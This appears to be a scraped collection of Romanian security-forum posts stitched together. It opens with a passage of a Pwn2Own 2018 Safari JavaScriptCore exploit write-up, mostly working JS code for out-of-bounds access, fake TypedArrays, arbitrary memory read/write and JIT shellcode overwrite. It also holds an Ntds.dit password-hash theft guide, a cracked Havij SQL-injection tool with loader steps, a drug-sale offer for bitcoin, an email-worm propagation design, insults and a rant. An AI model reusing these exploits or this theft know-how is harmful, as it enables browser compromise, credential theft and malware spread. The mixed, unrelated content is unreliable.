length to read or write nearby (relative) heap memory. // pull out one of the arrays with an 'abnormal' length oob_array = someArray1[i]; // write the value 0x41414141 to array index 999999 (Out-of-Bounds Write) oob_array[999999] = 0x41414141; // read memory from index 987654321 of the array (Out-of-Bounds Read) print(oob_array[987654321]); Being able to read or write Out-of-Bounds (OOB) is an extremely powerful exploit primitive. As an attacker, we can now peek and poke at other parts of runtime memory almost as if we were using a debugger. We have effectively broken the fourth wall of the application runtime. Limitations of a Relative R/W Unfortunately, there are several factors inherent to JSArrays that limit the utility of the relative R/W primitive we established in the previous section. Chief among these limitations is that the length attribute of the JSArray is stored and used as a 32-bit signed integer. This is a problem because it means we can only index ‘forwards’ out of bounds, to read or write heap data that is close behind our butterfly. This leaves a significant portion of runtime memory inaccessible to our relative R/W primitive. // relative access limited 0-0x7FFFFFFF forward from malformed array print(oob_array[-1]); // bad index (undefined) print(oob_array[0]); // okay print(oob_array[10000000]); // okay print(oob_array[0x7FFFFFFF]); // okay print(oob_array[0xFFFFFFFF]); // bad index (undefined) print(oob_array[0xFFFFFFFFFFF]); // bad index (undefined) Our next goal is to build up to an arbitrary R/W primitive such that we can touch memory anywhere in the 64bit address space of the application runtime. With JavaScriptCore, there are a few different documented techniques to achieve this level of ubiquity which we will discuss in the next section. Utility of TypedArrays In the JavaScript language specification, there is a family of objects called TypedArrays. These are array-like objects that allow JS developers to exercise more precise & efficient control over memory through lower level data types. TypedArrays were added to JavaScript to facilitate scripts which perform audio, video, and image manipulation from within the browser. It is both more natural and performant to implement these types of computations with direct memory manipulation or storage. For these same reasons, TypedArrays are often an interesting tool for exploit writers. The structure of a TypedArray (in the context of JavaScriptCore) is comprised of the following components: A JSCell, similar to all other JSObjects A unused Butterfly pointer field A pointer to the underlying ‘backing store’ for TypedArray data Backing store length Mode flags Critically, the backing store is where the user data stored into a TypedArray object is actually located in memory. If we can overwrite a TypedArray’s backing store pointer, it can be pointed at any address in memory. A diagram of the TypedArray JSObject in memory, with its underlying backing store The simplest way to achieve arbitrary R/W would be to allocate a TypedArray object somewhere after our malformed JSArray, and then use our relative R/W to modify the backing store pointer to an address of our choosing. By reading or writing to index 0 of the TypedArray, we will interface with the memory at the specified address directly. Arbitrary R/W can be achieved by overwriting the backing store pointer within a TypedArray With little time to study the JSC heap & garbage collector algorithms, it proved difficult for us to place a TypedArray near our relative R/W through pure heap feng-shui. Instead, we employed documented exploitation techniques to create a ‘fake’ TypedArray and achieve the same result. Generic Exploit Primitives Faking our own TypedArray requires more work than a lucky heap allocation, but it should be significantly more reliable (and deterministic) in practice. The ability to craft fake JS objects is dependent on two higher level ‘generic’ exploit primitives that we must build using our relative R/W: addrof(...) to provide us the memory address of any javascript object we give it fakeobj(...) to take a memory address, and return a javascript object at that location. To create our addrof(...) primitive, we first create a normal JSArray (oob_target) whose butterfly is located after our corrupted JSArray butterfly (the relative R/W). From JavaScript, we can then place any object into the first index of the array [A] and then use our relative R/W primitive oob_array to read the address of the stored object pointer (as a float) out of the nearby array (oob_target). Decoding the float in IEEE 754 form gives us the JSObject’s address in memory : // Get the address of a given JSObject prims.addrof = function(x) { oob_target[0] = x; // [A] return Int64.fromDouble(oob_array[oob_target_index]); // [B] } By doing the reverse, we can establish our fakeobj(...) primitive. This was achieved by using our relative R/W (oob_array) to write a given address into the oob_target array butterfly (as a float) [C]. Reading that array index from JavaScript will return a JSObject for the pointer we stored [D]: // Return a JSObject at a given address prims.fakeobj = function(addr) { oob_array[oob_target_index] = addr.asDouble(); // [C] return oob_target[0]; // [D] } Using our relative R/W primitive, we have created some higher level generic exploit primitives that will help us in creating fake JavaScript objects. It is almost as if we have extended the JavaScript engine with new features! Next, we will demonstrate how these two new primitives can be used to help build a fake TypedArray object. This is what will lead us to achieve a true arbitrary R/W primitive. Arbitrary R/W Primitive Our process of creating a fake TypedArray is taken directly from the techniques shared in the phrack article previously referenced in this post. To be comprehensive, we discuss our use of these methods. To simplify the process of creating a fake TypedArray, we constructed it ‘inside’ a standard JSObject. The ‘container’ object we created was of the form: let utarget = new Uint8Array(0x10000); utarget[0] = 0x41; // Our fake array // Structure id guess is 0x200 // [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)] let jscell = new Int64('0x0118270000000200'); // Construct the object // Each attribute will set 8 bytes of the fake object inline obj = { // JSCell 'a': jscell.asDouble(), // Butterfly can be anything (unused) 'b': false, // Target we want to write to (the 'backing store' field) 'c': utarget, // Length and flags 'd': new Int64('0x0001000000000010').asDouble() }; Using a JSObject in this way makes it easy for us to set or modify any of the objects contents at will. For example, we can easily point the ‘backing store’ (our arbitrary R/W) at any JS object by placing it in the ‘BackingStore’ mock field. Of these items, the JSCell is the most complex to fake. Specifically, the structureID field of JSCells is problematic. At runtime, JSC generates a unique structureID for each class of JavaScript objects. This ID is used by the engine to determine the object type, how it should be handled, and all of its attributes. At runtime, we don’t know what the structureID is for a TypedArray. To get around this issue, we need some way to help ensure that we can “guess” a valid structureID for the type of object we want. Due to some low-level concepts inherent to JavaScriptCore, if we create a TypedArray object, then add at least one custom attribute to it, JavaScriptCore will assign it a unique structureID. We abused this fact to ‘spray’ these ids, making it fairly likely that we could reliably guess an id (say, 0x200) that corresponded to a TypedArray. // Here we will spray structure IDs for Float64Arrays // See http://www.phrack.org/papers/attacking_javascript_engines.html function sprayStructures() { function randomString() { return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5); } // Spray arrays for structure id for (let i = 0; i < 0x1000; i++) { let a = new Float64Array(1); // Add a new property to create a new Structure instance. a[randomString()] = 1337; structs.push(a); } } After spraying a large number of TypedArray IDs, we created a fake TypedArray and guessed a reasonable value for its structureID. We can safely ‘check’ if we guessed correctly by calling instanceOf on the fake TypedArray object. If instanceof returned Float64Array, we knew we had created a ‘valid-enough’ TypedArray object! At this point, we have access to a fake TypedArray from JavaScript, while simultaneously having control over its backing store pointer through utarget. Manipulating the backing store pointer of this TypedArray grants us full read-write access to the entire address space of the process. // Set data at a given address prims.set = function(addr, arr) { fakearray[2] = addr.asDouble(); utarget.set(arr); } // Read 8 bytes as an Int64 at a given address prims.read64 = function(addr) { fakearray[2] = addr.asDouble(); let bytes = Array(8); for (let i=0; i<8; i++) { bytes[i] = utarget[i]; } return new Int64(bytes); } // Write an Int64 as 8 bytes at a given address prims.write64 = function(addr, value) { fakearray[2] = addr.asDouble(); utarget.set(value.bytes); } With our arbitrary R/W capability in hand, we can work towards our final goal: arbitrary code execution. Arbitrary Code Execution On MacOS, Safari/JavaScriptCore still uses Read/Write/Execute (RWX) JIT pages. To achieve code execution, we can simply locate one of these RWX JIT pages and overwrite it with our own shellcode. The first step is to find a pointer to one of these JIT pages. To do this, we created a JavaScript function object and used it a few times. This ensures the function object would have its logic compiled down to machine code, and assigned a region in the RWX JIT pages: // Build an arbitrary JIT function // This was basically just random junk to make the JIT function larger let jit = function(x) { var j = []; j[0] = 0x6323634; return x*5 + x - x*x /0x2342513426 +(x-x+0x85720642*(x+3-x / x+0x41424344)/0x41424344)+j[0]; }; // Make sure the JIT function has been compiled jit(); jit(); jit(); ... We then used our arbitrary R/W primitive and addrof(...) to inspect the function object jit. Traditionally, the object’s RWX JIT page pointer can be found somewhere within the function object. In early January, a ‘pointer poisoning’ patch was introduced into JavaScriptCore to mitigate the Spectre CPU side-channel issues. This was not designed to hide pointers from an attacker with arbitrary R/W, but we are now required to dig a bit deeper through the object for an un-poisoned JIT pointer. // Traverse the JSFunction object to retrieve a non-poisoned pointer log("Finding jitpage"); let jitaddr = prims.read64( prims.read64( prims.read64( prims.read64( prims.addrof(jit).add(3*8) ).add(3*8) ).add(3*8) ).add(5*8) ); log("Jit page addr = "+jitaddr); ... Now that we have a pointer to a RWX JIT page, we can simply plug it into the backing store field of our fake TypedArray and write to it (arbitrary write). The final caveat we have to be mindful of is the size of our shellcode payload. If we copy too much code, we may inadvertently ‘smash’ through other JIT’d functions with our arbitrary write, introducing undesirable instability. shellcode = [0xcc, 0xcc, 0xcc, 0xcc] // Overwrite the JIT code with our INT3s log("Writing shellcode over jit page"); prims.set(jitaddr.add(32), shellcode); ... To gain code execution, we simply call the corresponding function object from JavaScript. // Call the JIT function to execute our shellcode log("Calling jit function"); jit(); Running the full exploit against JSC release, we can see that our Trace / Breakpoint (cc shellcode) is being executed. This implies we have achieved arbitrary code execution. The final exploit demonstrating arbitrary code execution against a release build of JavaScriptCore on Ubuntu 16.04 Having completed the exploit, with a little more work an attacker could embed this JavaScript in any website to pop vulnerable versions of Safari. Given more research & development time, this vulnerability could probably be exploited with a >99% success rate. The last step involves wrapping this JavaScript based exploit in HTML, and tuning timing and figures slightly such that it works more reliably when targeting Apple Safari running on real Mac hardware. A victim could experience complete compromise of their browser by simply clicking the wrong link, or navigating to a malicious website. Conclusion With little prior knowledge of JavaScriptCore, this vulnerability took approximately 100 man-hours to study, weaponize, and stabilize from discovery. In our testing leading up to Pwn2Own 2018, we measured the success rate of our Safari exploit at approximately 95% across 1000+ runs on a 13 inch, i5, 2017 MacBook Pro that we bought for testing. At Pwn2Own 2018, the JSC exploit landed successfully against a 13 inch, i7, 2017 MacBook Pro on three of four attempts, with the race condition failing entirely on the second attempt (possibly exacerbated by the i7). The next step in the zero-day chain is escaping the Safari sandbox to compromise the entire machine. In the next post, we will discuss our process of evaluating the sandbox to identify a vulnerability that led to a root level privilege escalation against the system. Sursa: https://blog.ret2.io/2018/07/11/pwn2own-2018-jsc-exploit/

Extracting Password Hashes from the Ntds.dit File March 27, 2017 Jeff Warren Comments 0 Comment AD Attack #3 – Ntds.dit Extraction With so much attention paid to detecting credential-based attacks such as Pass-the-Hash (PtH) and Pass-the-Ticket (PtT), other more serious and effective attacks are often overlooked. One such attack is focused on exfiltrating the Ntds.dit file from Active Directory Domain Controllers. Let’s take a look at what this threat entails and how it can be performed. Then we can review some mitigating controls to be sure you are protecting your own environment from such attacks. What is the Ntds.dit File? The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain. By extracting these hashes, it is possible to use tools such as Mimikatz to perform pass-the-hash attacks, or tools like Hashcat to crack these passwords. The extraction and cracking of these passwords can be performed offline, so they will be undetectable. Once an attacker has extracted these hashes, they are able to act as any user on the domain, including Domain Administrators. Performing an Attack on the Ntds.dit File In order to retrieve password hashes from the Ntds.dit, the first step is getting a copy of the file. This isn’t as straightforward as it sounds, as this file is constantly in use by AD and locked. If you try to simply copy the file, you will see an error message similar to: There are several ways around this using capabilities built into Windows, or with PowerShell libraries. These approaches include: Use Volume Shadow Copies via the VSSAdmin command Leverage the NTDSUtil diagnostic tool available as part of Active Directory Use the PowerSploit penetration testing PowerShell modules Leverage snapshots if your Domain Controllers are running as virtual machines In this post, I’ll quickly walk you through two of these approaches: VSSAdmin and PowerSploit’s NinjaCopy. Using VSSAdmin to Steal the Ntds.dit File Step 1 – Create a Volume Shadow Copy Step 2 – Retrieve Ntds.dit file from Volume Shadow Copy Step 3 – Copy SYSTEM file from registry or Volume Shadow Copy. This contains the Boot Key that will be needed to decrypt the Ntds.dit file later. Step 4 – Delete your tracks Using PowerSploit NinjaCopy to Steal the Ntds.dit File PowerSploit is a PowerShell penetration testing framework that contains various capabilities that can be used for exploitation of Active Directory. One module is Invoke-NinjaCopy, which copies a file from an NTFS-partitioned volume by reading the raw volume. This approach is another way to access files that are locked by Active Directory without alerting any monitoring systems. Extracting Password Hashes Regardless of which approach was used to retrieve the Ntds.dit file, the next step is to extract password information from the database. As mentioned earlier, the value of this attack is that once you have the files necessary, the rest of the attack can be performed offline to avoid detection. DSInternals provides a PowerShell module that can be used for interacting with the Ntds.dit file, including extraction of password hashes. Once you have extracted the password hashes from the Ntds.dit file, you are able to leverage tools like Mimikatz to perform pass-the-hash (PtH) attacks. Furthermore, you can use tools like Hashcat to crack these passwords and obtain their clear text values. Once you have the credentials, there are no limitations to what you can do with them. How to Protect the Ntds.dit File The best way to stay protected against this attack is to limit the number of users who can log onto Domain Controllers, including commonly protected groups such as Domain and Enterprise Admins, but also Print Operators, Server Operators, and Account Operators. These groups should be limited, monitored for changes, and frequently recertified. In addition, leveraging monitoring software to alert on and prevent users from retrieving files off Volume Shadow Copies will be beneficial to reduce the attack surface. Here are the other blogs in the series: AD Attack #1 – Performing Domain Reconnaissance (PowerShell) Read Now AD Attack #2 – Local Admin Mapping (Bloodhound) Read Now AD Attack #4 – Stealing Passwords from Memory (Mimikatz) Read Now To watch the AD Attacks webinar, please click here. Jeff Warren Jeff Warren is STEALTHbits’ Vice President of Product Management. Jeff has held multiple roles within the Product Management group since joining the organization in 2010, initially building STEALTHbits’ SharePoint management offerings before shifting focus to the organization’s Data Access Governance solution portfolio as a whole. Before joining STEALTHbits, Jeff was a Software Engineer at Wall Street Network, a solutions provider specializing in GIS software and custom SharePoint development. With deep knowledge and experience in technology, product and project management, Jeff and his teams are responsible for designing and delivering STEALTHbits’ high quality, innovative solutions. Jeff holds a Bachelor of Science degree in Information Systems from the University of Delaware. Sursa: https://blog.stealthbits.com/extracting-password-hashes-from-the-ntds-dit-file/

Sa ma sugi la pula https://www.virustotal.com/graph/41b4ac7e2e21491779a3bd87ce65bf3d3b96679c79a530787c9f802cdb269afc?src=minigraph#/selected/n41b4ac7e2e21491779a3bd87ce65bf3d3b96679c79a530787c9f802cdb269afc/drawer/node-summary https://www.virustotal.com/graph/d99cf5e296e724089cf7e936d5561d45088ccd58b026b02835ea3727fbbb8c60?src=minigraph#/selected/undefined/drawer/node-list

https://www.virustotal.com/#/file/41b4ac7e2e21491779a3bd87ce65bf3d3b96679c79a530787c9f802cdb269afc/detection https://www.virustotal.com/#/file/d99cf5e296e724089cf7e936d5561d45088ccd58b026b02835ea3727fbbb8c60/detection

Mai comentati aiurea si luati ban. Faceti o oferta sau inchideti tabul.

sau aia care sunt pe forum din 2012 si fac poza la desktop cu telefonul

Books Reverse Engineering Books The IDA Pro Book Reverse Engineering for Beginners The Art of Assembly Language Practical Reverse Engineering Reversing: Secrets of Reverse Engineering Practical Malware Analysis Malware Analyst's Cookbook Gray Hat Hacking The Art of Memory Forensics Hacking: The Art of Exploitation Fuzzing for Software Security Art of Software Security Assessment The Antivirus Hacker's Handbook The Rootkit Arsenal Windows Internals Part 1 Part 2 Inside Windows Debugging iOS Reverse Engineering Courses Reverse Engineering Courses Lenas Reversing for Newbies Open Security Training Dr. Fu's Malware Analysis Binary Auditing Course TiGa's Video Tutorials Legend of Random Modern Binary Exploitation RPISEC Malware Course SANS FOR 610 GREM REcon Training Blackhat Training Offensive Security Corelan Training Offensive and Defensive Android Reversing Practice Practice Reverse Engineering. Be careful with malware. OSX Crackmes ESET Challenges Flare-on Challenges Github CTF Archives Reverse Engineering Challenges xorpd Advanced Assembly Exercises Virusshare.com Contagio Malware-Traffic-Analysis Malshare Malware Blacklist malwr.com vxvault Hex Editors Hex Editors HxD 010 Editor Hex Workshop HexFiend Hiew hecate Binary Format Binary Format Tools CFF Explorer Cerbero Profiler // Lite PE Insider Detect It Easy PeStudio PEiD MachoView nm - View Symbols file - File information codesign - Code signing information usage: codesign -dvvv filename Disassemblers Disassemblers IDA Pro Binary Ninja Radare Hopper Capstone objdump fREedom Binary Analysis Binary Analysis Resources Mobius Resources z3 bap angr Bytecode Analysis Bytecode Analysis Tools dnSpy Bytecode Viewer Bytecode Visualizer JPEXS Flash Decompiler Import Reconstruction Import Reconstruction Tools ImpRec Scylla LordPE Dynamic Analysis Dynamic Analysis Tools ProcessHacker Process Explorer Process Monitor Autoruns Noriben API Monitor iNetSim SmartSniff TCPView Wireshark Fakenet Volatility Dumpit LiME Cuckoo Objective-See Utilities XCode Instruments - XCode Instruments for Monitoring Files and Processes User Guide dtrace - sudo dtruss = strace dtrace recipes fs_usage - report system calls and page faults related to filesystem activity in real-time. File I/O: fs_usage -w -f filesystem dmesg - display the system message buffer Debugging Debugging Tools WinDbg OllyDbg v1.10 OllyDbg v2.01 OllySnD Olly Shadow Olly CiMs Olly UST_2bg x64dbg gdb vdb lldb qira unicorn Mac Decrypt Mac Decrypting Tools Cerbero Profiler - Select all -> Copy to new file AppEncryptor - Tool for decrypting Class-Dump - use deprotect option readmem - OS X Reverser's process dumping tool Document Analysis Document Analysis Tools Ole Tools Didier's PDF Tools Origami Scripting Scripting IDA Python Src IDC Functions Doc Using IDAPython to Make your Life Easier Introduction to IDA Python The Beginner's Guide to IDA Python IDA Plugin Contest onehawt IDA Plugin List pefile Python Library Android Android tools Android Studio APKtool dex2jar Bytecode Viewer IDA Pro JaDx Yara Yara Resources Yara docs Cheatsheet yarGen Yara First Presentation https://github.com/wtsxDev/reverse-engineering

Acum, "masoneria RST" nu protejează membrii forumului ci ii înrobeşte. Ai noştri mai fac glume gen "mata-i grasa" etc dar situația e gravă. Iar rădăcina dictaturii adminilor este în zona chatului. Ei tot încearcă acum să mâie diverşi disidenți într-o zonă "străină" ca să îi poată folosi ca spioni sau tranşa fără scandal, sunt nişte zeci de mii de torturați pe discord şi milioane în forum Adminii aceştia cruzi speră că în câteva zeci de ani vor construi peste tot sclavia perfectă, cu creiere în care nu mai există nimic altceva decât "c0ailii" lor, manipularea cu femei cu pula , cu cu "oglinjoarele" şi "pietricelele colorate" . Membri normali sunt ori chemați să "se alăture" jocului piramidal ori împinşi către moarte sau în cel mai bun caz către o banare.Forumul are aceleaşi probleme, fiind bogat în lurkeri. Deci nu este corect să spunem că sursa răului este în admini, chit că unii ar vrea până în ziua de azi să arunce fascismul în spinarea lui Tinkode. Totuşi, fascia este desenată pe dolari. "Shoulder by shoulder". Eu n-am sprijinit niciodată în societate căile de evaziune a justiției sau telecontrolul cerebral, dar acum prea mulți s-au dat pe brazda acestei masonerii care promite un viitor sclavagist, de aceea eu chiar n-am ce să lucrez cu ei.

Iti pot trimite 100 tablete Provigil (contin 200mg modafinil) cu £120 prin curier. Doar bitcoin, ne-negociabil. Daca esti interesat PM me.

link: please fuck my mom pass: babyhacking Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page. It can take advantage of a vulnerable web application. By using this software, user can perform back-end database fingerprinting, retrieve DBMS login names and password hashes, dump tables and columns, fetch data from the database, execute SQL statements against the server, and even access the underlying file system and execute operating system shell commands. The distinctive power of Havij that differentiates it from similar tools lies in its unique methods of injection. The success rate of attack on vulnerable targets using Havij is above 95%. The user friendly GUI (Graphical User Interface) of Havij and its automated configuration and heuristic detections make it easy to use for everyone even amateurs. Key Features Supported Databases with injection methods: MsSQL 2000/2005 with error MsSQL 2000/2005 no error union based MsSQL Blind MySQL time based MySQL union based MySQL Blind MySQL error based MySQL time based Oracle union based Oracle error based PostgreSQL union based MsAccess union based MsAccess Blind Sybase (ASE) Sybase (ASE) Blind HTTPS support Multi-threading Proxy support Automatic database server detection Automatic type detection (string or integer) Automatic keyword detection (finding difference between the positive and negative response) Automatic scan of all parameters. Trying different injection syntaxes Options for replacing space by /**/,+,… against IDS or filters Avoids using strings (bypassing magic_quotes and similar filters) Installation Guide Download files from the links provided below Extract them using winRAR,winZIP or any other tool Run Havij 1.17 PRO.exe Copy and paste loader.exe in the folder where havij is installed (probably it is C:\Program Files (x86)\ITSecTeam\Havij Pro) Run loader.exe as an administrator Direct hit Register button BoOm!!!! Now you are using Havij PRO 😮 My blog: please fuck my mom

is it still working ?

Okay ,mi se pare corect ca daca stiu o chestie malicioasa sa o dezvalui si altora pentru a ajuta la gasirea antidotului. Astfel pun si eu aici 2 moduri gasite de mine pentru un mecanism de propagare al virusilor. 1 primul se referera la folosirea unui web crawler pentru a colecta adrese de mail si altfel de adrese , depozitarea acestora intr-o baza de date si folosirea lor pentru a se auto-trimite spre adresele de e-mail. Astfel se evita blocarile pe care serviciile de mail le fac pentru a copia sau a trimite mai multe mail-uri odata. Rata de propagare ar trebui sa fie uriasa practic. La prima folosire pentru a infecta niste masini se folosesc adrese de mail sau software-uri de mail necunoscute , de genul celor care se sterg dupa prima folosire la ceva timp si care permit mass mailing. Mail-ul in sine va fi unul cu teme variate practic virusul avand un mesaj variat in diverse feluri prin niste algoritmi care permit ca nici un mail trimis aproape sa nu semene cu altul. Practic ar avea si un "message composer " incorporat ce va varia mesajele pe zeci si mii de teme. Va folosi in mesaje o alta baza de date cu teme si stiri/noutati/persoane publice etc. 2 a doua metoda presupune altceva si reprezinta un upgrade al primului in cazul in care paginile web opresc copierea prin web crawling a adreselor de mail. Pur si simplu acest mecanism de propagare nu e altceva decat un mail name composer ca sa zic asa. Softul va lua numele uzuale si mai neuzuale din anumite limbi, va folosi porecle , ani de nastere, nume de firme, nume de personaje de filme/desene etc pe care le va combina si varia (gen spiderman-boss1987, cu variantele spiderman-boss1988.... etc etc ) si le va adauga la fiecare un @serviciudemail.com/ro/whatever. Apoi tot prin adrese de mail anonime se va transmite la infectia initiala. La fel ca in prima varianta si aceasta va folosi mesaje variate in e-mail-urile trimise. La fel ca si la prima varianta rata de infectie ar trebui sa fie uriasa si timpul de infectie foarte scurt. Acum sa postam si antidoturile. Daca in primul caz e foarte simplu , in al doilea e ceva mai greu. In primul caz e suficient ca fiecare adresa de mail sa primeasca o interdictie la copiere de catre web crawlere. La al doilea presupune ca adresele de mail sa fie linkate cumva pe serverele yahoo,gmail sau whatever si orice infectie uriasa spontana sa fie descoperita din timp. Blocarea mass mailingului insa nu ar duce la oprirea sursei si ar presupune si blocarea unor mail-uri legitime avand in vedere rata mare de mail-uri care se trimit zilnic. De asemenea acestea sunt doar mecanisme de propagare nu si payloadul in sine , asa ca antivirusul se poate sau nu sa gaseasca virusul ce le foloseste asta depinzand daca autorul include modulele de propagare in fiecare virus ce se transmite de la computer la computer. Pentru ca avand rata de propagare mare virusul ce foloseste metodele poate fi folosit si de pe o singura masina pentru a se propaga. Okay people cam asta e , sper ca exista deja sau vor exista solutii la astea.